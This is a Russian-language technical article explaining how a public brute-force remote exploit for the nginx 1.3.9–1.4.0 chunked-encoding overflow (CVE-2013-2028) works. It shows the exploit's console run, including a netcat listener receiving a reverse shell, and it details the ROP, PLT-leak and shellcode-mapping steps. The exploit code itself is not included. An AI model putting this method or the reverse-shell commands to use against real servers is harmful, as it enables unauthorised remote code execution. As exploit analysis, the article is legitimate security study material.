Документация по эксплоиту «nginx 1.3.9/1.4.0 x86 Brute Force Remote Exploit» Общий путь взлома Linux-систем

Документация по эксплоиту «nginx 1.3.9/1.4.0 x86 Brute Force Remote Exploit» Общий путь взлома Linux-систем

В мае 2013 nginx в своем списке рассылки опубликовала информацию о новой CVE уязвимости и советы для повышения безопасности. Уязвимость была обнаружена Грегом МакМанусом, специалистом iSIGHT Partners Labs.

Автор: Kingscope

Введение

В мае 2013 nginx в своем списке рассылки опубликовала информацию о новой CVE уязвимости и советы для повышения безопасности. Уязвимость была обнаружена Грегом МакМанусом, специалистом iSIGHT Partners Labs.

CVE-2013-2028 определяется следующим образом:

Функция ngx_http_parse_chunked в http/ngx_http_parse.c в версиях с 1.3.9 до 1.4.0 позволяет нарушителю удаленно вызывать отказ в обслуживании (DoS) служб, а также исполнять произвольный код через разделяемый Transfer-Encoding запрос с большим размером сегментов, что вызывает ошибку знака целых чисел и переполнение стека.

Последние версии nginx http server используют стандарт HTTP 1.1, называемый поблочным кодированием передачи. Более старые версии nginx не поддерживают поблочную передачу в HTTP запросах. Для того чтобы ее использовать, необходимо установить сторонний модуль или патч. Именно этот модуль или патч содержит упомянутые выше ошибку знака числа и переполнение стека.

В данной статье мы рассмотрим, как использовать эту уязвимость на Linux в общем и для brute force атаки в частности.

Эксплоит работает при условии, что адресация памяти в адресном пространстве Linux платформ происходит случайным образом, и только адрес образа процесса не является случайным и всегда доступен по фиксированному адресу.

Это позволят строить работу эксплоита на доступе к образу процесса по фиксированному адресу. Первым делом для написания эксплоита под определенную Linux платформу нужно определить все адреса, необходимые для построения ROP цепочки и выполнения шеллкода. Как правило, все адреса жестко прописаны в коде экплоита. Существуют способы минимизации количества жестко прописанных адресов, они делают эксплоит менее привязанным к определенной ОС (нет необходимости прописывать смещения для каждой отдельно взятой платформы). Почти все смещения можно получить с помощью brute force’а. Явным недостатком этого метода является его заметность.

Результат работы nginx remote exploit:

perl ngxunlock.pl 192.168.27.146 80 192.168.27.146 443
Testing if remote httpd is vulnerable % SEGV %
YES %
Finding align distance (estimate)
testing 5250 align % SEGV %
testing 5182 align % SEGV %
Verifying align
Finding align distance (estimate)
testing 5250 align % SEGV %
testing 5182 align % SEGV %
Finding write offset, determining exact align
testing 0x08049c50, 5184 align % SURVIVED %
Extracting memory \
bin search done, read 20480 bytes
exact align found 5184
Finding exact library addresses
trying plt 0x08049a32, got 0x080bc1a4, function 0xb76f4a80 % FOUND exact ioctl 0x08049a30 %
trying plt 0x08049ce2, got 0x080bc250, function 0xb773e890 % FOUND exact memset 0x08049ce0
% trying plt 0x08049d52, got 0x080bc26c, function 0xb76f8d40 % FOUND exact mmap64
0x08049d50 %
Found library offsets, determining mnemonics
trying 0x0804ed2d % SURVIVED %
exact large pop ret 0x0804a7eb
exact pop x3 ret 0x0804a7ee
bin search done |
See reverse handler for success
nc -v -l -p 443
listening on [any] 443 ..
. 192.168.27.146: inverse host lookup failed: Unknown host
connect to [192.168.27.146] from (UNKNOWN) [192.168.27.146] 34778
uname -a;id;
Linux localhost 3.2.0-4-686-pae #1 SMP Debian 3.2.46-1 i686 GNU/Linux
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
cat /etc/debian_version
7.1

Эксплоит выясняет смещения с помощью brute force атаки и запускает обратный шелл, выполнив шеллкод в пространстве памяти nginx.

Более детальный анализ результатов работы эксплоита показывает, что получено несколько смещений.

  • Значение выравнивания
    Это значение, по сути, является смещением в буфере эксплоита до переписанного EIP.
    Например, буфер может выглядеть следующим образом. 

    Например, если мы, отправляем 5000 символов буквы «А» на nginx httpd (в поблочно закодированном запросе), http сервер будет работать без сбоев. Если мы отправим столько символов, что EIP или байты контроля, идущие до EIP, будут перезаписаны, http сервер аварийно остановится. Именно таким образом мы можем определить, насколько близко мы подобрались к EIP.
    Сначала эксплоит увеличит счетчик примерно на 100 и проверит каждое выравнивание, начиная с наименьшего, которое точно не остановит работу сервера. Если сервер упадет, то эксплоит автоматически уменьшит значение счетчика, чтобы определить точное смещение, на котором это произошло.
    Процесс запускается дважды, чтобы подтвердить корректность найденного значения выравнивания, потому что существует вероятность, что сервер сильно загружен, и найденное значение не верно.
  • Смещение plt записи
    Для того чтобы осуществить утечку памяти при подключении к nginx http server, нам необходимо знать смещение, по которому осуществлять запись. В дальнейшем память процесса используется для быстрого получения других смещений. К сожалению, не существует способа найти эти смещения без использования первоначального и последующего brute force’а с увеличением счетчика на 4 (4 полных байта на x86). Эксплоит использует фиксированное первоначальное смещение, найденное опытным путем на различных платформах. Это единственное смещение, жестко прописанное в коде эксплоита, и оно находится близко к точке входа к таблице процессов Linux. Легко определить, было ли достигнуто смещение. Запрос отправляет аргументы, включая дескриптор выходного файла подключения nginx и большое число, через syscall функции write. nginx либо аварийно остановится, либо ответит на запрос данными из памяти процесса. Так как длина памяти процесса всегда будет больше, скажем, 300 байт, можно определить, было ли смещение записи корректным.
    Ранее определенное значение выравнивания является приблизительным, потому что nginx аварийно остановится уже при перезаписи контрольных байт, идущих перед EIP. Точное значение устанавливается при brute force’е. Для каждого тестируемого значения смещения проверяется, в среднем, 7 значений выравнивания. Корректное значение выравнивания достигает EIP и, соответственно, правильного смещения plt записи.
  • Корректная точка входа PLT для mmap64, ioctl и memset
    Для выполнения шеллкода необходимо знать mmap64 и memset. Mmap64 необходим для проецирования операций в процесс nginx. Memset используется для копирования и выполнения шеллкода отображенного в памяти процесса. Loctl нужен для блокировки сокета, чтобы другой запрос на запись использовал гораздо больший объем памяти, чем не блокирующее подключение по умолчанию. Просмотр памяти позволит найти место для шеллкода и ROP гаджетов.
    Каждая plt запись в таблице (они являются библиотечными функциями, используемыми пользовательским процессом) имеет инструкцию jmp, указывающую на GOT. С помощью парсинга таблицы можно определить каждый plt. Строка «\xff\x25» определяет текущую запись. После каждой компиляции nginx’а изменяется образ процесса и plt смещения в таблице. Основной причиной этого является использование различных аргументов при компиляции, что приводит к абсолютно отличному друг от друга порядку pls смещений в скомпилированном файле. Для того, чтобы разобраться, какое смещение является mmap64, ioctl и memset мы используем следующий метод:
    1. В памяти процесса определяем начало pls записи с помощью байт «\xff\x25»
    2. Читаем память после «\xff\x25» («\xff\x25» указывает на таблицу GOT plt)
    3. Полученный результат используем для чтения указателя на функцию в библиотеке.
    4. Считываем 500 байт функции из DLL.
    5. Сравниваем начальные байты функции из реальной библиотеки с жестко прописанным байтовым потоком нашей функции. Для поиска байтового потока можно использовать дебаггер.
    6. Если код эксплоита совпадает с началом библиотечной функции, мы можем быть уверены, что найденная pls запись именно та, что нам нужна.

    По окончании поиска всех pls записей, при условии, что они совпадают с реальными функциями, можем продолжить работу над самим эксплоитом.
  • pop инструкции (ROP гаджеты)
    Теперь у нас есть смещение ioctl plt, поэтому мы можем установить блокировку сокета nginx и читать его память. Нам необходимо выполнить два syscall’а, первый - ioctl, второй – write, поэтому нужно выполнить инструкции «pop pop pop ret» (ioctl принимает 3 аргумента). Начальные ROP инструкции будут найдены с помощью brute force’а. Буфер эксплоита будет выглядеть следующим образом:
    syscall>
    Используем тот же подход, как при поиске смещения write pls. Либо процесс nginx httpd аварийно завершится, либо ответит большой последовательностью памяти процесса. После того, как мы считаем достаточно памяти, с помощью регулярных выражений можно провести парсинг на наличие ROP гаджетов.
  • Отправка буфера эксплоита
    Теперь у нас есть все необходимые смещения, и мы можем загрузить буфер эксплоита, в котором будет выполняться код.
    Запрос от эксплоита выглядит следующим образом:
    1. Дает команду nginx httpd использовать область памяти с полными правами ---rwx по смещению 0x10000000.
    2. Дает команду nginx httpd с помощью memset установить адрес начала копирования шеллкода, равный 0x10000000.
      Системный вызов read не может быть использован для чтения шеллкода, размещенного в новой области памяти, из http подключения. Причиной является то, что в nginx нельзя читать plt, а таким образом и вызывать саму функцию.
    3. Инициализирует функцию копирования шеллкода с ESP по адресу, следующему на ним (например, 0x10000500), после чего перейдет на шеллкод, выполнит шеелкод и получит обратный шелл.

Ваш провайдер знает о вас больше, чем ваша девушка?

Присоединяйтесь и узнайте, как это остановить!